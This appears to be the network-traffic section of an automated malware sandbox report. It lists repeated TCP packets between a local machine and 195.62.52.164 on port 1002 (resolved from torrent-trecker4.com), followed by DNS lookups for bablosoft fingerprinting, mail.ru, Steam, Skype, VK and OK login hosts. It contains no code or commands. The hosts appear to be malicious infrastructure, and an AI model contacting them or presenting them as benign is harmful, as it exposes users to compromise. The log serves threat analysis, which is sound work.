Dec 10, 2023 17:48:12.737499952 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.737556934 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.826054096 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.826447964 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.851030111 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.851151943 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.880997896 CET	1002	49726	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.881091118 CET	49726	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.881205082 CET	49726	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.951973915 CET	1002	49725	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.952104092 CET	1002	49725	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.994600058 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.994756937 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.995040894 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.999228954 CET	49725	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.001924992 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.001987934 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.002130032 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.002180099 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.002211094 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.003330946 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.003390074 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.003401041 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.003494978 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.003559113 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.004868984 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.004929066 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.005429983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.005491972 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.005820036 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.005878925 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.006097078 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.006156921 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.006333113 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.006997108 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.007055044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.007122040 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.007154942 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.007185936 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.007195950 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.007272005 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.007476091 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.007534027 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.008202076 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.008263111 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.008333921 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.009056091 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.009115934 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.009612083 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.009670973 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.009800911 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.009850025 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.009991884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.010024071 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.010051966 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.010075092 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.010149002 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.010256052 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:13.010309935 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:13.010792017 CET	1002	49716	195.62.52.164	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2023 17:47:53.744293928 CET	192.168.2.6	1.1.1.1	0xbfe8	Standard query (0)	torrent-trecker4.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.311369896 CET	192.168.2.6	1.1.1.1	0x30a5	Standard query (0)	YAhoO.Com	MX (Mail exchange)	IN (0x0001)	false
Dec 10, 2023 17:47:54.439553976 CET	192.168.2.6	1.1.1.1	0xc5fe	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:04.927720070 CET	192.168.2.6	1.1.1.1	0xba70	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:12.953593969 CET	192.168.2.6	1.1.1.1	0x2785	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:14.482978106 CET	192.168.2.6	1.1.1.1	0x8890	Standard query (0)	search.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:24.155150890 CET	192.168.2.6	1.1.1.1	0xa1b3	Standard query (0)	fingerprints.bablosoft.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:27.841742992 CET	192.168.2.6	1.1.1.1	0x4700	Standard query (0)	api.genderize.io	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:28.818521023 CET	192.168.2.6	1.1.1.1	0x12b5	Standard query (0)	lesta.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:50.195596933 CET	192.168.2.6	1.1.1.1	0x5031	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:52.985778093 CET	192.168.2.6	1.1.1.1	0x57fb	Standard query (0)	www.botoxchronicmigraine.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:02.345484972 CET	192.168.2.6	1.1.1.1	0x5117	Standard query (0)	derickdermatology.reachlocal.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:06.051736116 CET	192.168.2.6	1.1.1.1	0x7942	Standard query (0)	auth.mail.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.637114048 CET	192.168.2.6	1.1.1.1	0x58b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.698314905 CET	192.168.2.6	1.1.1.1	0xed8a	Standard query (0)	aj-https.mail.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:25.901233912 CET	192.168.2.6	1.1.1.1	0x54d7	Standard query (0)	go.skype.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:27.074831009 CET	192.168.2.6	1.1.1.1	0x2109	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:29.329175949 CET	192.168.2.6	1.1.1.1	0x6740	Standard query (0)	secure.skype.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:33.052824974 CET	192.168.2.6	1.1.1.1	0x5b41	Standard query (0)	login.skype.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.734904051 CET	192.168.2.6	1.1.1.1	0x6521	Standard query (0)	api.vk.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:51.929873943 CET	192.168.2.6	1.1.1.1	0xdb5a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:53.540635109 CET	192.168.2.6	1.1.1.1	0x9392	Standard query (0)	3310.xg4ken.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:04.932472944 CET	192.168.2.6	1.1.1.1	0x9a5c	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:14.599052906 CET	192.168.2.6	1.1.1.1	0x3a09	Standard query (0)	m.ok.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:17.980238914 CET	192.168.2.6	1.1.1.1	0x5a57	Standard query (0)	uk.search.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.058514118 CET	192.168.2.6	1.1.1.1	0x46f4	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.412825108 CET	192.168.2.6	1.1.1.1	0xc0b0	Standard query (0)	consent.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:46.542910099 CET	192.168.2.6	1.1.1.1	0xeb32	Standard query (0)	be.search.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:51.876142979 CET	192.168.2.6	1.1.1.1	0xffbc	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:52.816252947 CET	192.168.2.6	1.1.1.1	0x5b51	Standard query (0)	login.skype.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:09.675635099 CET	192.168.2.6	1.1.1.1	0xd358	Standard query (0)	aj-https.mail.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:10.043699026 CET	192.168.2.6	1.1.1.1	0xe3b2	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:26.296422005 CET	192.168.2.6	1.1.1.1	0xf1b9	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.690984964 CET	192.168.2.6	1.1.1.1	0x6dfa	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:33.209631920 CET	192.168.2.6	1.1.1.1	0xb161	Standard query (0)	consent.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:44.772995949 CET	192.168.2.6	1.1.1.1	0x76ed	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:52:00.061661959 CET	192.168.2.6	1.1.1.1	0x7c1f	Standard query (0)	work.a-poster.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2023 17:47:54.287110090 CET	1.1.1.1	192.168.2.6	0xbfe8	No error (0)	torrent-trecker4.com		195.62.52.164	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.437607050 CET	1.1.1.1	192.168.2.6	0x30a5	No error (0)	YAhoO.Com			MX (Mail exchange)	IN (0x0001)	false
Dec 10, 2023 17:47:54.437607050 CET	1.1.1.1	192.168.2.6	0x30a5	No error (0)	YAhoO.Com			MX (Mail exchange)	IN (0x0001)	false
Dec 10, 2023 17:47:54.437607050 CET	1.1.1.1	192.168.2.6	0x30a5	No error (0)	YAhoO.Com			MX (Mail exchange)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:47:54.565871000 CET	1.1.1.1	192.168.2.6	0xc5fe	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:05.053245068 CET	1.1.1.1	192.168.2.6	0xba70	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:48:05.053245068 CET	1.1.1.1	192.168.2.6	0xba70	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.252	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:05.053245068 CET	1.1.1.1	192.168.2.6	0xba70	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.251	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:13.079842091 CET	1.1.1.1	192.168.2.6	0x2785	No error (0)	www.google.com		142.250.217.196	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:14.609231949 CET	1.1.1.1	192.168.2.6	0x8890	No error (0)	search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:48:14.609231949 CET	1.1.1.1	192.168.2.6	0x8890	No error (0)	ds-global3.l7.search.ystg1.b.yahoo.com		66.218.84.137	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:24.281557083 CET	1.1.1.1	192.168.2.6	0xa1b3	No error (0)	fingerprints.bablosoft.com		162.19.169.11	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:28.188594103 CET	1.1.1.1	192.168.2.6	0x4700	No error (0)	api.genderize.io		165.227.126.8	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:29.184072018 CET	1.1.1.1	192.168.2.6	0x12b5	No error (0)	lesta.ru		95.181.181.87	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:50.320694923 CET	1.1.1.1	192.168.2.6	0x5031	No error (0)	ad.doubleclick.net		192.178.50.38	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:53.115971088 CET	1.1.1.1	192.168.2.6	0x57fb	No error (0)	www.botoxchronicmigraine.com	d2f3hizmmw1x77.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:48:53.115971088 CET	1.1.1.1	192.168.2.6	0x57fb	No error (0)	d2f3hizmmw1x77.cloudfront.net		65.8.248.10	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:53.115971088 CET	1.1.1.1	192.168.2.6	0x57fb	No error (0)	d2f3hizmmw1x77.cloudfront.net		65.8.248.80	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:53.115971088 CET	1.1.1.1	192.168.2.6	0x57fb	No error (0)	d2f3hizmmw1x77.cloudfront.net		65.8.248.123	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:48:53.115971088 CET	1.1.1.1	192.168.2.6	0x57fb	No error (0)	d2f3hizmmw1x77.cloudfront.net		65.8.248.61	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:02.661622047 CET	1.1.1.1	192.168.2.6	0x5117	No error (0)	derickdermatology.reachlocal.com	reachlocal.rlcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:02.661622047 CET	1.1.1.1	192.168.2.6	0x5117	No error (0)	reachlocal.rlcdn.net		209.97.16.14	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:06.328022957 CET	1.1.1.1	192.168.2.6	0x7942	No error (0)	auth.mail.ru		217.69.139.60	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.763010025 CET	1.1.1.1	192.168.2.6	0x58b	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.972855091 CET	1.1.1.1	192.168.2.6	0xed8a	No error (0)	aj-https.mail.ru		217.69.142.141	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.972855091 CET	1.1.1.1	192.168.2.6	0xed8a	No error (0)	aj-https.mail.ru		94.100.184.68	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.972855091 CET	1.1.1.1	192.168.2.6	0xed8a	No error (0)	aj-https.mail.ru		217.69.142.140	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:19.972855091 CET	1.1.1.1	192.168.2.6	0xed8a	No error (0)	aj-https.mail.ru		94.100.184.66	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:26.030352116 CET	1.1.1.1	192.168.2.6	0x54d7	No error (0)	go.skype.com	go-skype-com.s-0006.s-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:27.199839115 CET	1.1.1.1	192.168.2.6	0x2109	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:29.517224073 CET	1.1.1.1	192.168.2.6	0x6740	No error (0)	secure.skype.com	secure.skype-apps.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:33.179428101 CET	1.1.1.1	192.168.2.6	0x5b41	No error (0)	login.skype.com	login.skype-apps.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.139.193	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.190.70	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.129.140	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.137.206	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.137.207	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.137.130	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.190.75	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		87.240.137.208	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:48.859894991 CET	1.1.1.1	192.168.2.6	0x6521	No error (0)	api.vk.com		93.186.225.205	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:52.055198908 CET	1.1.1.1	192.168.2.6	0xdb5a	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:53.697297096 CET	1.1.1.1	192.168.2.6	0x9392	No error (0)	3310.xg4ken.com	kproxy.tfken.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:53.697297096 CET	1.1.1.1	192.168.2.6	0x9392	No error (0)	kproxy.tfken.com	external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:49:53.697297096 CET	1.1.1.1	192.168.2.6	0x9392	No error (0)	external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com		35.169.166.3	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:53.697297096 CET	1.1.1.1	192.168.2.6	0x9392	No error (0)	external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com		35.174.59.87	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:49:53.697297096 CET	1.1.1.1	192.168.2.6	0x9392	No error (0)	external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com		44.218.47.206	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:05.058878899 CET	1.1.1.1	192.168.2.6	0x9a5c	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:05.058878899 CET	1.1.1.1	192.168.2.6	0x9a5c	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.252	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:05.058878899 CET	1.1.1.1	192.168.2.6	0x9a5c	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.251	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:14.724410057 CET	1.1.1.1	192.168.2.6	0x3a09	No error (0)	m.ok.ru		217.20.155.16	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:14.724410057 CET	1.1.1.1	192.168.2.6	0x3a09	No error (0)	m.ok.ru		217.20.156.131	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:14.724410057 CET	1.1.1.1	192.168.2.6	0x3a09	No error (0)	m.ok.ru		217.20.152.234	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:18.109107018 CET	1.1.1.1	192.168.2.6	0x5a57	No error (0)	uk.search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:18.109107018 CET	1.1.1.1	192.168.2.6	0x5a57	No error (0)	ds-global3.l7.search.ystg1.b.yahoo.com		66.218.84.137	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.77.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.209.219.202	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.196.171.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.215.216.20	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.6.135.129	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.206.39.108	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.226.208.168	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:26.183887005 CET	1.1.1.1	192.168.2.6	0x46f4	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.63.255	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	consent.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.21.201.77	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.6.135.129	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.63.255	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.77.224	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.209.219.202	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.206.39.108	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.226.208.168	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:34.546040058 CET	1.1.1.1	192.168.2.6	0xc0b0	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.215.216.20	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:46.670207977 CET	1.1.1.1	192.168.2.6	0xeb32	No error (0)	be.search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:50:46.670207977 CET	1.1.1.1	192.168.2.6	0xeb32	No error (0)	ds-global3.l7.search.ystg1.b.yahoo.com		66.218.84.137	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:52.001581907 CET	1.1.1.1	192.168.2.6	0xffbc	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:50:52.996438026 CET	1.1.1.1	192.168.2.6	0x5b51	No error (0)	login.skype.com	login.skype-apps.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:51:09.934377909 CET	1.1.1.1	192.168.2.6	0xd358	No error (0)	aj-https.mail.ru		94.100.184.66	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:09.934377909 CET	1.1.1.1	192.168.2.6	0xd358	No error (0)	aj-https.mail.ru		217.69.142.141	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:09.934377909 CET	1.1.1.1	192.168.2.6	0xd358	No error (0)	aj-https.mail.ru		94.100.184.68	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:09.934377909 CET	1.1.1.1	192.168.2.6	0xd358	No error (0)	aj-https.mail.ru		217.69.142.140	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:10.168950081 CET	1.1.1.1	192.168.2.6	0xe3b2	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:51:10.168950081 CET	1.1.1.1	192.168.2.6	0xe3b2	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.252	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:10.168950081 CET	1.1.1.1	192.168.2.6	0xe3b2	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		68.180.135.251	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:26.431447983 CET	1.1.1.1	192.168.2.6	0xf1b9	No error (0)	steamcommunity.com		23.61.62.118	A (IP address)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2023 17:51:29.816883087 CET	1.1.1.1	192.168.2.6	0x6dfa	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
